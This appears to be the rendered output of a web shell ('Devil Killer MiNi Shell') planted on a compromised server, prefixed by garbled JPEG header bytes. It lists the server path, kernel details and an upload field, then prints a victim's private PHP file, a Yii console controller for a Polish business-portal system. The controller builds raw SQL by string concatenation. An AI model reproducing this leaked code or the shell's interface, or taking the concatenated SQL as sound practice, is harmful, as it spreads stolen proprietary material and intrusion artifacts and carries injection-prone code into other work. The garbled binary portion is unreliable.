JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/FixesController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use yii\console\ExitCode;

class FixesController extends Controller
{     
    use \common\components\traits\CompaniesTransfer;
    
    public $limit;
    public $offset;
    
    public function options($actionID)
    {
        return ['limit', 'offset'];
    }
    
    public function actionSetSelectedArticlesAsSponsored()
    {
        exit;
        $phrases = [
            'whitepress',
            'times',
            'publicrange',
            'eactive',
            'linkhouse',
            'seolo',
            'kbr',
            'orion',
            'off-site',
            'off site',
            'Estinet',
            'EUROCLEAN',
            'spozycjonowani',
            'PRnews',
            'PR news',
            'RB',
            'royal brand',
            'GDAQ',
            'kompan',
            'konstbud',
            'kons-bud',
            'wellnet',
            'HANA studio',
            'safege - suez',
            'pr-imo',
            'Westwing',
            'ALFA ELEKTRO',
            'All 4 Comms - Ishida',
            'ATENEO.PL',
            'DECORA',
            'E-conomy BV',
            'Lawenda Public Relations',
            'MEXPO',
            'S90',
            'Aveex',
            'CATEROMARKET',
            'Devboat Technologies',
            'FAIRBOX',
            'skazani-na-sukces',
            'skazani na sukces',
            'LANXESS',
            'SEO SEM'
        ];
        
        $queryParts = [];
        foreach($phrases as $phrase) {
            $queryParts[] = 'annotations ILIKE \'%'.$phrase.'%\'';
        }
        
        $time = strtotime('2022-09-28 22:00:00');
        $idsArticles = Yii::$app->db->createCommand('SELECT id_article FROM articles WHERE '.implode(' OR ', $queryParts))->queryColumn();
        
        $transaction = Yii::$app->db->beginTransaction();
        
        foreach($idsArticles as $idArticle) {
            $sql = 'UPDATE articles SET origin_type = \'Artykuł sponsorowany\', updated_at = \''.date('Y-m-d H:i:s', $time).'\' WHERE id_article = '.$idArticle;
            Yii::$app->db->createCommand($sql)->execute();
            $time++;
//            $this->stdout($sql."\n\r");
        }
        
        $transaction->commit();
        
        $this->stdout('KONIEC'."\n\r");
    }
    
    public function actionFixCompaniesStatisticsReports()
    {
        $models = \common\models\CompaniesStatisticsReports::find()->where([
            'contact_data_stats' => ['$exists' => true, '$not' => ['$size' => 0]]
        ])->all();
        
var_dump($models[0]->id_company, $models[1]->id_company); exit;
        
        foreach($models as $model) {
            if(!empty($model->contact_data_stats)) {
                $contactDataStats = $model->contact_data_stats;
                $ouputData = [];
                foreach($model->contact_data_stats as $idPortal => $contactData) {
                    foreach($contactData['byContactData'] as $typeAndValue => $numberOfViews) {
                        list($type, $value) = explode('|', $typeAndValue);
                        $ouputData[] = [
                            'type' => $type, 
                            'value' => $value,
                            'numberOfViews' => $numberOfViews
                        ];
                    }
                    unset($contactDataStats[$idPortal]['byContactData']);
                    $contactDataStats[$idPortal]['views'] = $ouputData;
                }
                
                $model->contact_data_stats = $contactDataStats;
                var_dump($model->contact_data_stats);
//                $model->save();
            }
        }
    }
    
    public function actionFixPresentationsVisitsEntries()
    {
        $limit = !empty($this->limit) ? intval($this->limit) : 10;

        $query = new \yii\mongodb\Query();
        $documents = $query->from('companies_presentations_visits')
                ->where([
                    'or', 
                    [
                        'promotion' => 2,
                        'id_category' => ['$exists' => false]
                    ],
                    [
                        'promotion' => 3,
                        'search_phrase' => ['$exists' => false]
                    ]
                ])
                ->limit($limit)
                ->all();
        
        if(!empty($documents)) {
            foreach($documents as $document) {
                $columnsForUpdate = [
                    'id_category' => 0, 
                    'search_phrase' => ''
                ];
                
                if(intval($document['promotion']) === 2) {
                    $idCategory = \common\models\CompaniesPresentationsPromoted::find()
                        ->select(['companies_presentations_promoted.id_category'])
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                        ->where([
                            'companies_presentations_promoted.id_presentation' => (int)$document['id_presentation'],
                            'companies_presentations.id_portal' => (int)$document['id_portal'],
                            'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                        ])
                        ->andWhere(['not', ['companies_presentations_promoted.id_category' => null]])
                        ->limit(1)
                        ->scalar();

                    if(!empty($idCategory)) {
                        $columnsForUpdate['id_category'] = $idCategory;
                    } else {
                        $columnsForUpdate['promotion'] = 0;
                    }
                } elseif(intval($document['promotion']) === 3) { 
                    $searchPhrasesText = \common\models\CompaniesPresentationsPromoted::find()
                        ->select(['companies_presentations_promoted.phrases'])
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                        ->where([
                            'companies_presentations_promoted.id_presentation' => (int)$document['id_presentation'],
                            'companies_presentations.id_portal' => (int)$document['id_portal'],
                            'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH
                        ])
                        ->andWhere(['not', ['companies_presentations_promoted.phrases' => null]])
                        ->limit(1)
                        ->scalar();
                
                    $searchPhrases = array_map('trim', explode(',', $searchPhrasesText));
                    $randomPhraseKey = array_rand($searchPhrases);
                    $searchPhrase = $searchPhrases[$randomPhraseKey];

                    if(!empty($searchPhrase)) {
                        $columnsForUpdate['search_phrase'] = $searchPhrase;
                    } else {
                        $columnsForUpdate['promotion'] = 0;
                    }
                }
                
//                var_dump($document, $columnsForUpdate);
                
                Yii::$app->mongodb->getCollection('companies_presentations_visits')->update(['_id' => (string)$document['_id']], $columnsForUpdate);
            }
        }        
        
        return ExitCode::OK;
    }
    
    public function actionFixProductsVisitsEntries()
    {
        $limit = !empty($this->limit) ? intval($this->limit) : 10;

        $query = new \yii\mongodb\Query();
        $documents = $query->from('products_visits')
                ->where([
                    'or', 
                    [
                        'promotion' => 2,
                        'id_category' => ['$exists' => false]
                    ],
                    [
                        'promotion' => 3,
                        'search_phrase' => ['$exists' => false]
                    ]
                ])
                ->limit($limit)
                ->all();
        
        if(!empty($documents)) {
            foreach($documents as $document) {
                $columnsForUpdate = [
                    'id_category' => 0, 
                    'search_phrase' => ''
                ];
                
                if(intval($document['promotion']) === 2) {
                    $idCategory = \common\models\PortalsHasProductsPromoted::find()
                        ->select(['id_category'])
                        ->where([
                            'id_product' => (int)$document['id_product'],
                            'id_portal' => (int)$document['id_portal'],
                            'promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                        ])
                        ->andWhere(['not', ['id_category' => null]])
                        ->limit(1)
                        ->scalar();

                    if(!empty($idCategory)) {
                        $columnsForUpdate['id_category'] = $idCategory;
                    } else {
                        $columnsForUpdate['promotion'] = 0;
                    }
                } elseif(intval($document['promotion']) === 3) { 
                    $searchPhrasesText = \common\models\PortalsHasProductsPromoted::find()
                        ->select(['phrases'])
                        ->where([
                            'id_product' => (int)$document['id_product'],
                            'id_portal' => (int)$document['id_portal'],
                            'promotion_type' => \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH
                        ])
                        ->andWhere(['not', ['phrases' => null]])
                        ->limit(1)
                        ->scalar();
                
                    $searchPhrases = array_map('trim', explode(',', $searchPhrasesText));
                    $randomPhraseKey = array_rand($searchPhrases);
                    $searchPhrase = $searchPhrases[$randomPhraseKey];

                    if(!empty($searchPhrase)) {
                        $columnsForUpdate['search_phrase'] = $searchPhrase;
                    } else {
                        $columnsForUpdate['promotion'] = 0;
                    }
                }

//                var_dump($document, $columnsForUpdate);
                
                Yii::$app->mongodb->getCollection('products_visits')->update(['_id' => (string)$document['_id']], $columnsForUpdate);
            }
        }        
        
        return ExitCode::OK;
    }
    
//    public function actionFixRecordsImgForLazyLoading()
//    {        
//        return $this->fixRecordsImgForLazyLoading('Articles', ['content']);
//    }
        
    public function actionFixRecordsImgForLazyLoading(string $modelClassName, array $fieldsForProcessing, bool $reset = false)
    {
        $orReset = !!$reset;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        list($flag, $errors) = $this->fixImgForLazyLoading($modelClassName, $fieldsForProcessing, $orReset);
        
        if($flag === 1) {
            $transaction->commit();
//            $transaction->rollBack();
            $this->stdout('.');
            return ExitCode::OK;
        } elseif($flag === 2) {
            $transaction->commit();
//            $transaction->rollBack();
            $this->stdout("\n".'Brak danych do przetworzenia.');
            return ExitCode::OK;
        } else {
            $transaction->rollBack();
            var_dump($errors);
            return ExitCode::DATAERR;
        }
    }
    
    protected function fixImgForLazyLoading($className, $fields, $orReset = false)
    {
        $modelClass = '\\common\\models\\'.$className;
        
        $primaryKey = call_user_func($modelClass.'::primaryKey')[0];
        
        $filePathForLastId = Yii::getAlias('@runtime/temp/'.'last_id_for_'.call_user_func($modelClass.'::tableName').'.txt');

        if(!file_exists($filePathForLastId) || $orReset) {
            file_put_contents($filePathForLastId, 0);
        }
        $lastProcessedId = (int)file_get_contents($filePathForLastId);
        
        $query = call_user_func($modelClass.'::find');
        $query->andWhere(['>', $primaryKey, $lastProcessedId]);
        $query->orderBy($primaryKey.' ASC');
        $query->limit(1000);
        $models = $query->all();
        
        if(empty($models)) {
            return [2, null];
        }
        
        $dom = new \DOMDocument;
        $dom->encoding = 'UTF-8'; 
        libxml_use_internal_errors(true);
        
        foreach($models as $model) { 
            $orChangedModel = false;
            foreach($fields as $field) {
                if(empty($model->$field)) {
                    continue;
                }
                
                $dom->loadHTML(mb_convert_encoding($model->$field, 'HTML-ENTITIES', 'UTF-8'), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
                $images = $dom->getElementsByTagName('img');
                if($images->length < 1) {
                    continue;
                }
                
                $orChanged = false;                
                foreach($images as $img) {
                    $loadingAttr = $img->attributes->getNamedItem('loading');
                    if(!$loadingAttr) {
                        $orChanged = true;
                        $orChangedModel = true;
                        $img->setAttribute("loading", "lazy");
                    }
                }

                //var_dump('Liczba wykrytych IMG: '.$images->length);
                
                if($orChanged) {
                    $model->$field = mb_convert_encoding($dom->saveHTML(), 'UTF-8', 'HTML-ENTITIES');
                } 
            }
            
            if($orChangedModel) {
                if(!$model->save(false)) {
                    return [0, $model->getErrors()];
                } 
            } 
            
            file_put_contents($filePathForLastId, $model->$primaryKey);
        }
        
        return [1, null];
    }
    
    public function actionReplaceImagesToWebp(string $modelClassName, array $fields = [], array $contentFields = [], array $foreignContentFields = [], bool $reset = false)
    {
//        var_dump($fields, $contentFields); exit;
        $orReset = !!$reset;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        list($flag, $errors, $filesPathesForDelete) = $this->replaceImagesToWebp($modelClassName, $fields, $contentFields, $foreignContentFields, $orReset);

        if($flag === 1) {
            $transaction->commit();
//            $transaction->rollBack();
            $this->stdout('.'); 
            if(!empty($filesPathesForDelete)) {
                foreach($filesPathesForDelete as $filePathForDelete) {
//                    var_dump('#1 usuwamy plik: '.$filePathForDelete);
                    @unlink($filePathForDelete);
                }
            }
            return ExitCode::OK;
        } elseif($flag === 2) {
            $transaction->commit();
//            $transaction->rollBack();
            $this->stdout("\n".'Brak danych do przetworzenia.');
            return ExitCode::OK;
        } else {
            $transaction->rollBack();
            var_dump($errors);
            if(!empty($filesPathesForDelete)) {
                foreach($filesPathesForDelete as $filePathForDelete) {
//                    var_dump('#2 usuwamy plik: '.$filePathForDelete);
                    @unlink($filePathForDelete);
                }
            }  
            return ExitCode::DATAERR;
        }
    }
    
    protected function replaceImagesToWebp($className, $fields, $contentFields, $foreignContentFields = [], $orReset = false)
    {
        $modelClass = '\\common\\models\\'.$className;
        
        $primaryKey = call_user_func($modelClass.'::primaryKey')[0];        
        $filePathForLastId = Yii::getAlias('@runtime/temp/'.'last_id_for_'.call_user_func($modelClass.'::tableName').'.txt');

        if(!file_exists($filePathForLastId) || $orReset) {
            file_put_contents($filePathForLastId, 0);
        }
        $lastProcessedId = (int)file_get_contents($filePathForLastId);
        
        $query = call_user_func($modelClass.'::find');
        $query->andWhere(['>', $primaryKey, $lastProcessedId]);
        $query->orderBy($primaryKey.' ASC');
        $query->limit(1000);
        $query->andWhere([$primaryKey => 22785]);
        $models = $query->all();

        if(empty($models)) {
            return [2, null, []];
        }
        
        $filesPathesForNewFiles = [];
        $filesPathesFromOldFiles = [];
        
        $dom = new \DOMDocument;
        $dom->encoding = 'UTF-8'; 
        libxml_use_internal_errors(true);
        
        foreach($models as $model) { 
            $orChangedModel = false;
            
            if(!empty($fields)) {
                foreach($fields as $field) {
                    if(empty($model->$field)) {
                        continue;
                    }
                    
                    list($newFileName, $newFilesPathes, $oldFilesPathes) = $this->convertImageToWebpForImageField($field, $model);

                    if($newFileName) {
                        $orChangedModel = true;
                        $model->$field = $newFileName;
                        $filesPathesForNewFiles = array_unique(array_merge($filesPathesForNewFiles, $newFilesPathes));
                        $filesPathesFromOldFiles = array_unique(array_merge($filesPathesFromOldFiles, $oldFilesPathes));
                    }
                }
            }
            
            if(!empty($contentFields)) {
                foreach($contentFields as $field) {
                    if(empty($model->$field)) {
                        continue;
                    }

                    list($orChangedByContentField, $newFilesPathes, $oldFilesPathes, $foundFilesUrls) = $this->convertImagesToWebpFromContentField($field, $model, $dom);
                    
                    if($orChangedByContentField) {
                        $orChangedModel = true;
                        $model->$field = mb_convert_encoding($dom->saveHTML(), 'UTF-8', 'HTML-ENTITIES');
                        $filesPathesForNewFiles = array_unique(array_merge($filesPathesForNewFiles, $newFilesPathes));
                        $filesPathesFromOldFiles = array_unique(array_merge($filesPathesFromOldFiles, $oldFilesPathes));
                        
                        //tutaj sprawdzamy, czy wyszukane w modelu adresy do plików graficznych nie występują w innych tabelach, w kolumnach obsługiwanych przez edytory WYSIWYG
                        //np. zdjęcie z opisu produktu prezentujące logo producenta bywa wykorzystywane w sekcjach prezentacji typu "O firmie" / "Oferta", czasem też np. w treści szkoleń
                        $this->replaceImageUrlsToWebpForForeignContentFields($foreignContentFields, $foundFilesUrls);
                    }
                }
            }
            
            if($orChangedModel) {
                if(!$model->save(false)) {
                    return [0, $model->getErrors(), $filesPathesForNewFiles];
                } 
            } 
            
            file_put_contents($filePathForLastId, $model->$primaryKey);
        }
        
        return [1, null, $filesPathesFromOldFiles];
    }
    
    protected function convertImageToWebpForImageField($field, $model)
    {
//        $primaryKeyName = $model->primaryKey()[0];

        $fileDir = $this->getImageDirForModel($model, false);
        $filePath =  $fileDir.$model->$field; 
        
        $newFilesPathes = [];
        $oldFilesPathesForDelete = [];

        if(!$fileDir || !file_exists($filePath) || !$this->convertImageToWebp($filePath)) {
            return [false, $newFilesPathes, $oldFilesPathesForDelete];
        }
        
        $info = pathinfo($filePath);
        
        $newFileName = $info['filename'].'.webp';
        $newFilesPathes[] = $info['dirname'].'/'.$info['filename'].'.webp';
        $oldFilesPathesForDelete[] = $filePath;
        
        $sizes = array_unique(array_merge(\common\components\helpers\Image2::getAcceptedSizes(), call_user_func(get_class($model).'::getAcceptedSizes')));
        $transformations = \common\components\helpers\Image2::getAcceptedTransformations();
        
        foreach($sizes as $size) {
            foreach($transformations as $transformation) {
                $resizedFilePath = realpath($info['dirname']).'/'.$transformation.'/'.$size.'/'.$info['basename'];
                if(file_exists($resizedFilePath) && $this->convertImageToWebp($resizedFilePath)) {
                    $newFilesPathes[] = realpath($info['dirname']).'/'.$transformation.'/'.$size.'/'.$newFileName;
                    $oldFilesPathesForDelete[] = $resizedFilePath;
                }
            }
        }

        return [$newFileName, $newFilesPathes, $oldFilesPathesForDelete];
        
    }
    
    protected function convertImagesToWebpFromContentField($field, $model, $dom)
    {
        $newFilesPathes = [];
        $oldFilesPathesForDelete = [];
        $foundFilesUrls = [];
        $orChanged = false;

        $dom->loadHTML(mb_convert_encoding($model->$field, 'HTML-ENTITIES', 'UTF-8'), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
        $images = $dom->getElementsByTagName('img');
        if($images->length < 1) {
            return [$orChanged, $newFilesPathes, $oldFilesPathesForDelete, $foundFilesUrls];
        }
        
        $commonDomain = preg_replace('|http(s)?://|i', '', rtrim(Yii::$app->params['commonBaseUrl'], '/'));
           
        foreach($images as $img) {
            $imgSrc = $img->attributes->getNamedItem('src')->value;
            
//            if(mb_strpos($imgSrc, 'common.v-manager.pl/uploads/source') !== false) {
            if(mb_strpos($imgSrc, $commonDomain.'/uploads/source') !== false) {
//                $sourceFilePath = Yii::getAlias('@sourcesRealPath').'/'.preg_replace('|http(s)?://common.v-manager.pl/uploads/source/|i', '', $imgSrc);
                $sourceFilePath = Yii::getAlias('@sourcesRealPath').'/'.preg_replace('|http(s)?://'.$commonDomain.'/uploads/source/|i', '', $imgSrc);
                $info = pathinfo($sourceFilePath);
                if($info['extension'] === 'webp') {
                    continue;
                }                
                $targetFilePath = $info['dirname'].'/'.$info['filename'].'.webp';
                
                $sourceFilePath = urldecode($sourceFilePath);
                $targetFilePath = urldecode($targetFilePath);
                
                if(file_exists($targetFilePath)) {
                    $img->setAttribute("src", str_replace($info['basename'], $info['filename'].'.webp', $imgSrc));
                    $orChanged = true;
                    $foundFilesUrls[] = $imgSrc;
                } elseif(file_exists($sourceFilePath)) {
                    $flag = $this->convertImageToWebp($sourceFilePath);
                    //@todo tymczasowa proteza
//                    $flag = true;
                    if($flag) {
                        $newFilesPathes[] = $targetFilePath;
                        $oldFilesPathesForDelete[] = $sourceFilePath;
                        $img->setAttribute("src", str_replace($info['basename'], $info['filename'].'.webp', $imgSrc));
                        $orChanged = true; 
                        $foundFilesUrls[] = $imgSrc;
                    }
                }                
            }
        }

        return [$orChanged, $newFilesPathes, $oldFilesPathesForDelete, array_unique($foundFilesUrls)];
        
    }
    
    protected function convertImageToWebp($sourceFilePath)
    {
        $info = pathinfo($sourceFilePath);
                
        $targetFilePath = realpath($info['dirname']).'/'.$info['filename'].'.webp';
        if(file_exists($targetFilePath)) {
            return false;
        }
        
        //@todo tutaj konwersja
//        $extension = mb_strtolower($info['extension']);
        $mime = mb_strtolower(mime_content_type($sourceFilePath));
        switch ($mime) {
            case 'image/jpeg':
            case 'image/jpg':
                $image = imagecreatefromjpeg($sourceFilePath);
                break;
            case 'image/png':
                $image = imagecreatefrompng($sourceFilePath);
                imagepalettetotruecolor($image);
                imageinterlace($image, 0);
                imagealphablending($image, true);
                imagesavealpha($image, true);
                break;
            case 'image/gif':
                $image = imagecreatefromgif($sourceFilePath);
                imagepalettetotruecolor($image);
                imagealphablending($image, true);
                imagesavealpha($image, true);
                break;
            default:
                return false;
        }

        $result = imagewebp($image, $targetFilePath, 85);
        if($result === false) {
            return false;
        }

        imagedestroy($image);
        
        return true;
    }
    
    protected function getImageDirForModel($model, $orImageInContent = false)
    {
        $className = get_class($model);
        
        if(!$orImageInContent) {
            switch($className) {
                case 'common\models\Articles':
                    return Yii::getAlias('@articlesImagesRealPath').'/'.$model->id_article.'/';
                case 'common\models\Products':
                    return Yii::getAlias('@companiesImagesRealPath').'/'.$model->id_company.'/'.Yii::getAlias('@companiesProductsDirName').'/'.$model->id_product.'/';
                default:
                    return null;
            }
        } else {
            
        }
        
        return null;
    }
    
    protected function replaceImageUrlsToWebpForForeignContentFields($foreignContentFields = [], $foundFilesUrls = [])
    {
        if(empty($foreignContentFields) || empty($foundFilesUrls)) {
            return;
        }
        
        foreach($foreignContentFields as $classNameWithFields) {
            $classNameWithFieldsAsArray = explode(';', $classNameWithFields);
            $foreignModelClass = '\\common\\models\\'.array_shift($classNameWithFieldsAsArray);
            $foreignFields = $classNameWithFieldsAsArray;
            $foreignTableName = call_user_func($foreignModelClass.'::tableName');

            foreach($foundFilesUrls as $foundFileUrl) {
                $oldUrlPart = preg_replace('|http(s)?://|i', '', $foundFileUrl);
                $newUrlPart = substr($oldUrlPart, 0, strrpos($oldUrlPart, '.')).'.webp';

                $setParts = [];
                $whereParts = [];
                foreach($foreignFields as $foreignField) {
                    $setParts[] = $foreignField." = REPLACE(".$foreignField.", '".$oldUrlPart."', '".$newUrlPart."')";
                    $whereParts[] = $foreignField." ILIKE '%".$oldUrlPart."%'";
                }

                $sql = 'UPDATE '.$foreignTableName.' SET '.implode(', ', $setParts).' WHERE '.implode(' OR ', $whereParts);
                Yii::$app->db->createCommand($sql)->execute();
//                $this->stdout($sql."\n\n");
                
                //@todo testowa procedura - sprawdza czy jakakolwiek zależność zostanie odnaleziona
//                $sqlTest = 'SELECT COUNT(*) FROM '.$foreignTableName.' WHERE '.implode(' OR ', $whereParts);
//                $numberOfFound = Yii::$app->db->createCommand($sqlTest)->queryScalar();
//                if($numberOfFound > 0) {
//                    $this->stdout($foreignTableName.': '.$oldUrlPart."\n\n");
//                }
            }
        }
    }
    
    public function actionMassCompaniesTransfer()
    {
        exit;
        $operatorsLogins = $this->getOperatorsLogins();
        $idTargetOperator = 105;
        
        $sql = 'SELECT ohc3.id_company, ohc3.id_user 
                FROM operators_has_companies AS ohc3 
                WHERE ohc3.id_company IN (
                        SELECT ohc2.id_company FROM operators_has_companies AS ohc2 WHERE id_company IN (
                                SELECT DISTINCT ohc.id_company FROM operators_has_companies AS ohc 
                                INNER JOIN companies AS c ON c.id_company = ohc.id_company AND c.usage_status = \'wykorzystana\' 
                                INNER JOIN companies_presentations AS cp ON cp.id_company = ohc.id_company AND cp.id_package = \'STARTER\'
                                WHERE ohc.id_user IN (106, 108) 
                        )
                        GROUP BY ohc2.id_company 
                        HAVING COUNT(ohc2.id_user) = 1
                )
                ORDER BY ohc3.id_company ';
        
        $rows = Yii::$app->db->createCommand($sql)->queryAll(); 
        
        foreach($rows as $row) {
            $idSourceOperator = $row['id_user'];
            $idCompany = $row['id_company'];
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$this->transferCompany($idCompany, $idSourceOperator, $idTargetOperator, $operatorsLogins)) {
                $transaction->rollBack(); 
                $this->stderr('FAIL');
                break;
            }
            
            $transaction->commit();
//            $transaction->rollBack();
//            $this->stdout('ID: '.$idCompany."\n\r"); exit;
        }
        
        $this->stdout('KONIEC'."\n\r");
        
    }
    
    protected function transferCompany($idCompany, $idSourceOperator, $idTargetOperator, $operatorsLogins)
    {        
        $modelOldOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idSourceOperator,
                    'id_company' => $idCompany
                ])
                ->one();
        
        $actualDatetime = date("Y-m-d H:i:s");        
        
        $assignedPortals = $modelOldOperatorHasCompany->assigned_portals;
        foreach($assignedPortals as $key => $assignedPortal) {
            $assignedPortals[$key]['created_at'] = $actualDatetime;
        }

        $modelOldOperatorHasCompany->setScenario('update');
        $modelOldOperatorHasCompany->id_user = $idTargetOperator;
        $modelOldOperatorHasCompany->assigned_portals = $assignedPortals;
        
        $flag = $modelOldOperatorHasCompany->save();
        
        $flag = $flag && $this->transferCompaniesCasesWithEntries($idCompany, $idTargetOperator, $operatorsLogins, $idSourceOperator);
        
        //przepisać zamówienia nowe oraz ich elementy
        $flag = $flag && $this->transferCompaniesOrders($idCompany, $idTargetOperator, $idSourceOperator);
        
        //przepisać rezerwacje mailingów
        $flag = $flag && $this->transferMailingsReservations($idCompany, $idTargetOperator, $idSourceOperator);
        
        //przepisać zamówienia archiwalne
        $flag = $flag && $this->transferCompanyOrdersArchive($idCompany, $idTargetOperator, $idSourceOperator);
        
        return $flag;
    }
    
    public function actionMassCompaniesTransfer2()
    {
        exit;
        $operatorsLogins = $this->getOperatorsLogins();
        $idTargetOperator = 175;
        
        $sql = 'SELECT DISTINCT c.id_company 
                FROM companies AS c
                INNER JOIN companies_contact_data AS ccd ON ccd.id_company = c.id_company 
                INNER JOIN companies_presentations AS cp ON cp.id_company = c.id_company 
                WHERE c.usage_status = \'niewykorzystana\' 
                    AND (ccd.data_type = \'WWW\' OR ccd.data_type = \'EMAIL\') 
                    AND cp.id_portal = 8 
                LIMIT 1000';
        
        $rows = Yii::$app->db->createCommand($sql)->queryAll(); 
        
        foreach($rows as $row) {
            $idCompany = $row['id_company'];
            $this->stdout('ID: '.$idCompany."\n\r");
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$this->transferCompany2($idCompany, $idTargetOperator, $operatorsLogins)) {
                $transaction->rollBack(); 
                $this->stderr('FAIL'."\n\r");
                break;
            }
            
            $transaction->commit();
//            $transaction->rollBack();
//            $this->stdout('ID: '.$idCompany."\n\r"); exit;
        }
        
        $this->stdout('KONIEC'."\n\r");
        
    }
    
